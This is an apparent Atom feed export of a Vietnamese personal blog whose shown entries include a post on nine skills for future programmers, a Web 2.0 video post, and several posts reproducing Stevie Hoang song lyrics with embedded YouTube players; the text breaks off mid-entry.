<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4623594449992858463</id><updated>2012-01-03T00:08:28.291+07:00</updated><category term='học flex'/><category term='Template For Blogger'/><category term='Music Collection'/><category term='Tip And Trick'/><category term='learn flex'/><category term='web'/><category term='silverlight'/><category term='Tam Su'/><category term='flex application'/><category term='Music'/><category term='Frameworks Collection'/><category term='Share Ebook'/><category term='Clip Hài'/><category term='Windows'/><category term='Security'/><category term='flex'/><category term='551-600'/><category term='learn flex online'/><category term='Lập Trình Web'/><category term='Thơ'/><category term='76 mẹo vặt trong Windows'/><category term='Software Engineer'/><category term='web 2.0'/><category term='Share Software'/><category term='Career'/><category term='500-550'/><category term='Blog Hack'/><category term='busy'/><category term='silverlight vs flex/ria'/><category term='ria'/><category term='Network Tips'/><category term='For New Bloggers'/><category term='IT News'/><category term='Learning English Online'/><category term='Funny'/><category term='Basic Network'/><category term='NEO'/><title type='text'>Just a blog!</title><subtitle type='html'>Just a blog!</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default?start-index=101&amp;max-results=100'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>189</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-3658165341047744593</id><published>2009-04-13T16:51:00.001+07:00</published><updated>2009-04-13T16:52:37.829+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IT News'/><title type='text'>9 kỹ năng cho lập trình viên tương lai</title><content type='html'>&lt;p&gt;&lt;strong&gt;1. Get one of top 3 (PHP, JAVA, .NET)&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Trừ khi thế giới sụp đổ, developers vẫn cần ít nhất 1 trong 3 programming language này mà theo ý kiến cá nhân thì hãy chọn 1 trong 2 cái đầu tiên. Điều quan trọng là không chỉ phải nắm cú pháp hay sử dụng ngôn ngữ đó đơn thuần, developer cần phải nắm được cách tương tác với các service cùng hay khác ngôn ngữ nữa.&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;strong&gt;2. Rich Internet Applications&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;RIA đang phát triển mạnh với Adobe Flash, Flex/AIR và SilverLight, JavaFx. Tốc độ đường truyền ngày càng cao trong khi ứng dụng càng mang tính visualized càn dễ dùng và đáng tin cậy hơn. Đó là lý do nên nắm bắt một công cụ RIA kết hợp với HTML 5.0 dù version này có thể sẽ là Vista của internet - sẽ hoàn chỉnh vào 2020.&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;strong&gt;3. Web development&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Không còn chối cãi gì nữa khi lịch sử lập trình 5 năm trước người ta cân nhắc về ứng dụng stand-alone, nhiều khi còn gọi là Windows Application và web application. Ngày nay, web application chiếm ưu thế tuyệt đối. Developer không thể không biết về web application development. Tuy nhiên, không biết các trường đại học ở VN giờ này đã đầu tư và có đủ khả năng truyền đạt công nghệ này cho SV hay chưa.&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;strong&gt;4. Web services&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Các ứng dụng mỗi ngày lại ... xích lại gần nhau hơn theo tinh thần của Trịnh Công Sơn. Tận dụng những dịch vụ từ ebay, yahoo, google, Windows Live,... sẽ là một thế mạnh lớn.&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;strong&gt;5 Soft skills&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Đây là điểm tử huyệt của đa số developers VN. Giao tiếp quá ngắn, luôn nghĩ người khác hiểu vấn đề cũng cách với mình hoặc luôn cho rằng mình đúng. E ngại tranh luận hoặc quá gay gắt. Thiếu kỹ năng tiếng Anh hoặc cho rằng mình đọc và viết tiếng Anh tốt trong khi trên thực tế, ít người nước ngoài nào đọc hiểu được thứ tiếng Anh "bác học" + "châu á" của họ.&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;Hoàn toàn thiếu kiến thức kinh doanh và đưa 2 chữ "khách hàng" ra khỏi từ điển công việc. Khách hàng thậm chí trở thành kẻ thù số một, ngu muội và chỉ biết cậy có tiền để đòi hỏi mỗi khi project manager bắt đầu điệp khúc "đó là cái khách hàng muốn".&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;strong&gt;6. Agile process&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Xin hãy từ bỏ khái niệm phát triển ứng dụng waterfall ở trường đại học. Các ứng dụng ngày nay ở quy mô nhỏ và vừa chỉ cần y/c trên cửa số chat hay email để trở thành 1 function trong hệ thống. Mô hình hoá hệ thống, phát triển nhanh, hoàn thiện và sửa lỗi là cơ sở để project hoàn thành. Sẽ không ai biết phải làm việc với bạn thế nào nếu cứ ngồi chờ yêu cầu được viết thành tài liệu và đóng thành tập.&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;strong&gt;7. Domain knowledge&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Đây chưa phải là một điểm mấu chốt cho VN developers nhưng sẽ là cần thíêt khi dần tiến lên 1 vị trí quản lý như project manager. Kiến thức về một lĩnh vực nào đó trong thực tế liên quan đến hệ thống đang xây dựng sẽ là vô cùng cần thiết. Nó cũng tương tự với việc đừng ngồi chờ requirment document/specification mà hãy nói, OK tôi biết quy trình của việc này là gì.&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;strong&gt;8. Development "hygiene" - vệ sinh !&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Teamwork sẽ là điều tất yếu khiến người vệ sinh và có tổ chức được mọi người yêu quý hơn. Test process + bug tracker, coding convention + source control, diagram + documentation. Mọi thứ là cần thiết, không có hoặc không lý tưởng như trong trường đại học mà sẽ là cái mà cty bạn làm quen dùng.&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;&lt;strong&gt;9. Mobile development&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;i-phone có nhiều khả năng thay thế chữ "điện thoại" giống như xerox thay cho máy photocopy. Nhiều khả năng mobile device 3 năm nữa sẽ mạnh hơn 1 chiếc laptop hiện nay. Kỹ thuật lập trình sẽ không phải là vấn đề đáng quan ngại nhưng một tư duy lập trình cho người dùng đang ... "bay", lái xe 1 tay, nhìn bằng 1 mắt, vừa làm việc vừa nghe nhạc,... sẽ là cái lập trình viên cần phải làm quen.&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;Hưng Nguyễn - &lt;a href="http://www.cyvee.com/group/discussion/21759/ky-nang-cho-lap-trinh-vien-tuong-lai/?gid=98"&gt;Link&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-3658165341047744593?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/3658165341047744593/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2009/04/9-ky-nang-cho-lap-trinh-vien-tuong-lai.html#comment-form' title='1 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/3658165341047744593'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/3658165341047744593'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2009/04/9-ky-nang-cho-lap-trinh-vien-tuong-lai.html' title='9 kỹ năng cho lập trình viên tương lai'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-2031476075101093647</id><published>2009-01-02T16:49:00.005+07:00</published><updated>2009-01-02T17:03:16.793+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='web 2.0'/><category scheme='http://www.blogger.com/atom/ns#' term='Lập Trình Web'/><category scheme='http://www.blogger.com/atom/ns#' term='web'/><title type='text'>Web 2.0?</title><content type='html'>Web 2.0, có lẽ bạn cũng chẳng xa lạ gì với thuật ngữ trên, nhưng thật khó để hiểu và định nghĩa được nó. &lt;br /&gt;Mời bạn xem video dưới đây để có thể mường tượng thêm về web 2.0 một thuật ngữ mà không thể diễn tả hết bằng lời &lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/6gmP4nk0EOE&amp;amp;color1=0xb1b1b1&amp;amp;color2=0xcfcfcf&amp;amp;feature=player_embedded&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;embed src="http://www.youtube.com/v/6gmP4nk0EOE&amp;amp;color1=0xb1b1b1&amp;amp;color2=0xcfcfcf&amp;amp;feature=player_embedded&amp;amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-2031476075101093647?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/2031476075101093647/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2009/01/web-20.html#comment-form' title='1 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/2031476075101093647'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/2031476075101093647'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2009/01/web-20.html' title='Web 2.0?'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-8870281735462896069</id><published>2008-11-24T22:59:00.000+07:00</published><updated>2008-11-24T23:01:05.275+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Music Collection'/><title type='text'>Listen To Your Man - STEVIE HOANG</title><content type='html'>&lt;center&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/ERSuSp_TO9M&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/ERSuSp_TO9M&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;/center&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;Tell me why we gotta go through this again&lt;br /&gt;Well I guess that you've been talking to your friends&lt;br /&gt;Cause you're accusing me of things that I havent done&lt;br /&gt;What I was doing at the club was just having fun&lt;br /&gt;U said she saw me leave the spot with another one&lt;br /&gt;Now why would I do that&lt;br /&gt;&lt;br /&gt;Now she must have mistaken the time that she saw me leave&lt;br /&gt;Cause I was rolling with my boys so the dude she saw wasn't me&lt;br /&gt;You will believe what u want but it's plain to see&lt;br /&gt;That your friends just want to come between you and me&lt;br /&gt;Don't believe in what they say cause it's jealousy&lt;br /&gt;Girl can't u see that&lt;br /&gt;&lt;br /&gt;[Chorus:]&lt;br /&gt;Girl u should know by now I'm not that type of guy&lt;br /&gt;Cause I changed my ways when I found you&lt;br /&gt;Just put your trust in me don't let them tear us apart&lt;br /&gt;Girl u should know and understand&lt;br /&gt;Listen to your man&lt;br /&gt;&lt;br /&gt;Now we done made it this far your friend said we wouldn't last&lt;br /&gt;I used to roll with a black book but that was all in my past&lt;br /&gt;Now I've given up the game just to be with u&lt;br /&gt;Even my homies can't believe it but girl it's true&lt;br /&gt;Cause I finally found someone I can call my boo&lt;br /&gt;Girl u should know that&lt;br /&gt;&lt;br /&gt;Tell my why your heart is filled with so much doubt&lt;br /&gt;Can't believe that everytime I'm gone u think id be playing u out&lt;br /&gt;Don't be believeing all the things taht people say your the only girl I kick it with everyday&lt;br /&gt;Tell me why the hell would I throw it all away&lt;br /&gt;Why would I do that&lt;br /&gt;&lt;br /&gt;Please believe me when I say no one else can take your place&lt;br /&gt;Can't let the haters try and tear us apart&lt;br /&gt;Girl your the only one that holds my heart&lt;br /&gt;&lt;br /&gt;[Chorus: x2]&lt;br /&gt;Girl u should know by now I'm not that type of guy&lt;br /&gt;Cause I changed my ways when I found you&lt;br /&gt;Just put your trust in me don't let them tear us apart&lt;br /&gt;Girl u should know and understand&lt;br /&gt;Listen to your man&lt;br /&gt;&lt;br /&gt;I think I might be missing some things but it's all I can do &lt;br /&gt;&lt;/center&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-8870281735462896069?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/8870281735462896069/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2008/11/listen-to-your-man-stevie-hoang.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/8870281735462896069'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/8870281735462896069'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2008/11/listen-to-your-man-stevie-hoang.html' title='Listen To Your Man - STEVIE HOANG'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-7988492597410353450</id><published>2008-11-24T22:55:00.001+07:00</published><updated>2008-11-24T22:57:11.524+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Music Collection'/><title type='text'>Addicted - STEVIE HOANG</title><content type='html'>&lt;center&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/6ApwZckbGsE&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/6ApwZckbGsE&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/center&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;Since you went away&lt;br /&gt;It's been&lt;br /&gt;One year two months&lt;br /&gt;But it just don't seem like yesterday&lt;br /&gt;We were, we were still together&lt;br /&gt;Time has passed and things have changed so&lt;br /&gt;Why do I feel this way&lt;br /&gt;Cause you're with somebody else&lt;br /&gt;And I'm with somebody else but&lt;br /&gt;&lt;br /&gt;Whenever I think about the love we had&lt;br /&gt;(It hurts so bad)&lt;br /&gt;Whenever I think about the love we made&lt;br /&gt;I said that I'd be strong&lt;br /&gt;Girl I really thought that I'd move on&lt;br /&gt;But still I find myself asking&lt;br /&gt;&lt;br /&gt;[Chorus:]&lt;br /&gt;Do you still think of me&lt;br /&gt;Like I think about you&lt;br /&gt;Do you still dream of me&lt;br /&gt;Cause I can't sleep without you&lt;br /&gt;Tell me if time should make a change&lt;br /&gt;Then why do I feel the same&lt;br /&gt;Your love has got me addicted&lt;br /&gt;&lt;br /&gt;Said I don't know&lt;br /&gt;{When I'm with a chick and we make love I call your name}&lt;br /&gt;Said I don't know&lt;br /&gt;{Wanna be with somebody else I push them away}&lt;br /&gt;Tell me if time should make a change&lt;br /&gt;Then why do I feel the same&lt;br /&gt;I know I gotta move on but&lt;br /&gt;I'm so addicted to you&lt;br /&gt;(You)&lt;br /&gt;&lt;br /&gt;It's been long enough&lt;br /&gt;Don't know&lt;br /&gt;Why I'm still holding on&lt;br /&gt;If I had a wish babe I would turn back the hands of time&lt;br /&gt;Cause you don't know what you've got until it's gone (until it's gone)&lt;br /&gt;That's the reason why I'm writing you this song&lt;br /&gt;&lt;br /&gt;Girl I'm slippin'&lt;br /&gt;And I don't know what to do&lt;br /&gt;Girl I admit it&lt;br /&gt;I'm sick over you&lt;br /&gt;Damn&lt;br /&gt;I realize my mistake&lt;br /&gt;My pride got in the way&lt;br /&gt;I shoulda begged you to stay&lt;br /&gt;&lt;br /&gt;[Chorus:]&lt;br /&gt;Do you still think of me&lt;br /&gt;Like I think about you&lt;br /&gt;Do you still dream of me&lt;br /&gt;Cause I can't sleep without you&lt;br /&gt;Tell me if time should make a change&lt;br /&gt;Then why should I feel the same&lt;br /&gt;Girl your love has got me addicted (Got me addicted)&lt;br /&gt;&lt;br /&gt;Said I don't know&lt;br /&gt;{When I'm with a chick and we make love I call your name}&lt;br /&gt;Said I don't know&lt;br /&gt;{Wanna be with somebody else I push them away}&lt;br /&gt;Tell me if time should make a change&lt;br /&gt;Then why do I feel the same&lt;br /&gt;I know I gotta move on but&lt;br /&gt;I'm so addicted to you&lt;br /&gt;&lt;br /&gt;If you ever lost someone you truly love&lt;br /&gt;Let me hear you say "yeah"&lt;br /&gt;(Yeah)&lt;br /&gt;Say "yeah"&lt;br /&gt;(yeah) Let me hear you say&lt;br /&gt;And if you ever lost someone you truly need&lt;br /&gt;Let me hear you say "yeah"&lt;br /&gt;(Yeah)&lt;br /&gt;Say "yeah"&lt;br /&gt;(Yeah)&lt;br /&gt;&lt;br /&gt;[Chorus:]&lt;br /&gt;Do you still think of me&lt;br /&gt;Like I think about you&lt;br /&gt;Do you still dream of me (yeah)&lt;br /&gt;Cause I can't sleep without you&lt;br /&gt;Tell me if time should make a change&lt;br /&gt;Then why do I feel the same (Why do I feel)&lt;br /&gt;Your love has got me addicted&lt;br /&gt;&lt;br /&gt;Said I don't know&lt;br /&gt;{When I'm with a chick and we make love I call your name}&lt;br /&gt;Said I don't know&lt;br /&gt;{Wanna be with somebody else I push them away}&lt;br /&gt;Tell me if time should make a change&lt;br /&gt;Then why do I feel the same&lt;br /&gt;I know I gotta move on but&lt;br /&gt;I'm so addicted to you&lt;br /&gt;&lt;br /&gt;Like I think about you&lt;br /&gt;Do you still dream of me&lt;br /&gt;Cause I can't sleep without you&lt;br /&gt;Tell me if time should make a change&lt;br /&gt;Then why do I feel the same&lt;br /&gt;Your love has got me addicted (it's got me addicted)&lt;br /&gt;&lt;br /&gt;Said I don't know&lt;br /&gt;When I'm with a chick and we make love I call your name&lt;br /&gt;Said I don't know&lt;br /&gt;Wanna be with somebody else I push them away (I just push them away)&lt;br /&gt;Tell me if time should make a change (Make a change)&lt;br /&gt;Then why do I feel the same (Feel the same)&lt;br /&gt;I know I gotta move on but&lt;br /&gt;I'm so addicted to you &lt;br /&gt;&lt;/center&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-7988492597410353450?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/7988492597410353450/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2008/11/addicted-stevie-hoang.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/7988492597410353450'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/7988492597410353450'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2008/11/addicted-stevie-hoang.html' title='Addicted - STEVIE HOANG'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-7470445391831557878</id><published>2008-11-24T22:52:00.001+07:00</published><updated>2008-11-24T22:54:05.508+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Music Collection'/><title type='text'>Shawty- STEVIE HOANG</title><content type='html'>&lt;center&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/U876wFAA4PI&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/U876wFAA4PI&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/center&gt;&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;&lt;center&gt;This is for my shawtyyy... (yeah)&lt;br /&gt;This is for my shawtyyy... (yo stevie)&lt;br /&gt;&lt;br /&gt;[Chorus: x2]&lt;br /&gt;People always breaking up&lt;br /&gt;Falling in and out of love&lt;br /&gt;I just wanna' let u know&lt;br /&gt;Ama' never let u go&lt;br /&gt;- for the rest of my life, gonna' be by your side&lt;br /&gt;&lt;br /&gt;[Verse 1:]&lt;br /&gt;Sometimes she drives me crazy&lt;br /&gt;But I don't give a damn&lt;br /&gt;Every time I need my baby&lt;br /&gt;She'll always be around&lt;br /&gt;The only one that's been down with me, through all of this time&lt;br /&gt;My homies think I'm trippin'&lt;br /&gt;Tell me I'm wasting my time&lt;br /&gt;It's only cause' they can't&lt;br /&gt;Find a girl that's hot like mine&lt;br /&gt;There's no where else that I'd rather be, so ama' let the whole world know.&lt;br /&gt;&lt;br /&gt;[Pre-chorus:]&lt;br /&gt;Girl your, the only one for me&lt;br /&gt;The only sex I need&lt;br /&gt;No one else can make me feel, the way my baby does'&lt;br /&gt;That why...&lt;br /&gt;&lt;br /&gt;[Chorus: x2]&lt;br /&gt;People always breaking up&lt;br /&gt;Falling in and out of love&lt;br /&gt;I just wanna' let u know&lt;br /&gt;Ama' never let u go&lt;br /&gt;- for the rest of my life, gonna' be by your side&lt;br /&gt;&lt;br /&gt;[Verse 2:]&lt;br /&gt;Girl you don't have to worry when I'm all up in the club&lt;br /&gt;Cause' no one else will ever come between the two of us&lt;br /&gt;It's crazy how u got me hooked, babe&lt;br /&gt;I'm doing things I never do, babe&lt;br /&gt;And every time I close my eyes, I thank the lord (that I have u)&lt;br /&gt;You're everything a man could want&lt;br /&gt;For the rest of my life,&lt;br /&gt;And I'll put that on everything&lt;br /&gt;&lt;br /&gt;[Chorus: x2]&lt;br /&gt;People always breaking up&lt;br /&gt;Falling in and out of love&lt;br /&gt;I just wanna' let u know&lt;br /&gt;Ama' never let u go&lt;br /&gt;- for the rest of my life, gonna' be by your side&lt;br /&gt;&lt;br /&gt;This is for my shawtyyy, girl u got my back and baby I got yours (ohh baby)&lt;br /&gt;&lt;br /&gt;This is for my shawtyyy,&lt;br /&gt;I've seen a dime' or two, but they don't compare to you.&lt;br /&gt;&lt;br /&gt;This is for my shawtyyy,&lt;br /&gt;Girl u got my back and baby I got yours&lt;br /&gt;&lt;br /&gt;This is for my shawtyyy,&lt;br /&gt;I've seen a dime' or two, but they don't compare to you.&lt;br /&gt;&lt;br /&gt;[Chorus: x2]&lt;br /&gt;People always breaking up&lt;br /&gt;Falling in and out of love&lt;br /&gt;I just wanna' let u know&lt;br /&gt;Ama' never let u go&lt;br /&gt;- for the rest of my life, gonna' be by your side &lt;/center&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-7470445391831557878?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/7470445391831557878/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2008/11/shawty-stevie-hoang.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/7470445391831557878'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/7470445391831557878'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2008/11/shawty-stevie-hoang.html' title='Shawty- STEVIE HOANG'/><author><name>DangLVH</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4623594449992858463.post-3858355625930829303</id><published>2008-11-24T22:44:00.001+07:00</published><updated>2008-11-24T22:46:53.105+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Music Collection'/><title type='text'>If I Was The One - STEVIE HOANG</title><content type='html'>&lt;center&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/SY3fg43Mgko&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/SY3fg43Mgko&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/center&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;Click Read More to see the lyric.&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;&lt;center&gt;&lt;br /&gt;Girl I See The Way He Treats You&lt;br /&gt;I Feel The Pain And The Tears You Cry&lt;br /&gt;Why Do U Let Him Do This To U Everytime Baby Everytime&lt;br /&gt;Now Girl I Got A Proposition&lt;br /&gt;Girl You's A Queen U Should Be With Me&lt;br /&gt;Il Take You On A Private Journey,Just U And Me&lt;br /&gt;&lt;br /&gt;If I Was The One Who Was Loving U&lt;br /&gt;Id Do All The Things That He Wont Do&lt;br /&gt;Ill Give You What U Need Be So Good To You&lt;br /&gt;Everynight Everynight&lt;br /&gt;Girl I Know Its Hard But You Can Trust In Me&lt;br /&gt;Ill Be All The Man That You Could Ever Need&lt;br /&gt;Baby Its Bout Time That You Should Walk Away&lt;br /&gt;Give Me The Chance, Let Me Be The One&lt;br /&gt;&lt;br /&gt;Girl I Know The Situation&lt;br /&gt;You've Been With Him Now For So Long&lt;br /&gt;But U Dont Have To Stay With Someone That Makes U Cry&lt;br /&gt;Always Telling U Lies&lt;br /&gt;Now Girl Its Obvious That He Will Never Change&lt;br /&gt;So Heres Your Chance Girl Up And Leave&lt;br /&gt;You Need That Special Kind Of Guy To Treat U Right&lt;br /&gt;Sounds Like The Job For Me&lt;br /&gt;&lt;br /&gt;Let Me Hear U Say, You'll Pack Your Bags And Walk Alway&lt;br /&gt;Let Me Hear U Say, That U Wont Stay Another Day&lt;br /&gt;Let Me Hear U Say, Girl That U Wont Be Afraid&lt;br /&gt;Let Me Hear U Say, That U Gon Find A Better Day &lt;br /&gt;&lt;/center&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-3858355625930829303?l=danglvh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danglvh.blogspot.com/feeds/3858355625930829303/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://danglvh.blogspot.com/2008/11/if-i-was-one-stevie-hoang.html#comment-form' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/3858355625930829303'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4623594449992858463/posts/default/3858355625930829303'/><link rel='alternate' type='text/html' href='http://danglvh.blogspot.com/2008/11/if-i-was-one-stevie-hoang.html' title='If I Was The One - 